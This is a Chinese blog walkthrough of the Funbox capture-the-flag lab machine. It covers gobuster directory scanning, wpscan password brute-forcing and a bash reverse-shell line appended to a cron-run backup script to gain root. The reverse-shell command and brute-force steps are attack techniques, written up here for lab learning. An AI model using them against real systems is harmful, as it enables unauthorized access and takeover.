Funbox靶机

GoodideaHa

于 2023-12-20 10:13:28 发布

阅读量404

点赞数 10

文章标签：网络

本文链接：https://blog.csdn.net/huachengyi/article/details/135100868

版权

本文描述了黑客通过IP端口扫描、hosts修改、目录探测（如gobuster）等手段，逐步获取服务器权限的过程，包括使用wpscan枚举密码，最终实现SSH反弹shell并获取root权限，找到隐藏的flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

扫描存活主机IP

访问80端口

发现进不去需要修改一下hosts


```
vim /etc/hosts
```

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x html,zip,bak,txt,php -u http://10.4.7.148

发现一个目录

访问 http://10.4.7.148/secret/

wpscan --url http://funbox.fritz.box/ -e

wpscan --url http://funbox.fritz.box/ -U admin,joe --passwords /usr/share/wordlists/rockyou.txt

进入funny 文件夹发现 .backup.sh .reminder.sh

查看两个文件发现是一个 .backup.sh 是一个定时执行文件

那就写入shell反弹然后kali监听

echo "bash -i >/dev/tcp/10.4.7.182/8888 0>&1" >> .backup.sh

在经过四次监听之后终于是拿到了root权限并找到flag